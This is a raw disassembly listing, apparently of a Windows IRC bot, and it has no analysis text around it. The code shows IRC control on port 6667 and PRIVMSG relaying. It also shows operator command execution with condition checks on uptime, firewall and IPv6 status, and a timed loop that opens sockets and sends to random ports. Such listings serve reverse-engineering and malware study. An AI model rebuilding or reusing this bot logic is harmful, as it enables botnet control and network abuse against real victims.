eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call dword_41720C ; send push [ebp+var_63B8] call dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DC34 push 3B6h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset dword_418B5C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DE30 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DE30 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DE30 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DE30 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DE30 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DE30 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F048 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o var_534 = dword ptr -534h var_530 = byte ptr -530h var_38F = byte ptr -38Fh var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 534h push 327h push [ebp+arg_0] lea eax, [ebp+var_534] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" lea eax, [ebp+var_530] push eax call sub_40813C add esp, 0Ch mov [ebp+var_204], eax and [ebp+var_20C], 0 loc_40C98D: ; CODE XREF: sub_40C93C+D6j cmp [ebp+var_204], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: sub_40C93C+58j ; sub_40C93C+79j mov eax, [ebp+var_204] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: sub_40C93C+68j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj push [ebp+var_204] lea eax, [ebp+var_38F] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_200] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_200] push eax call sub_40E618 pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_20C], eax mov eax, [ebp+var_20C] mov [ebp+var_204], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: sub_40C93C+5Aj push [ebp+var_534] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40C93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B6h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree_0 ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B6h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree_0 ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset sub_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41E9A4 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E898 call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DE30 push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch cmp off_41DA68[eax], 0 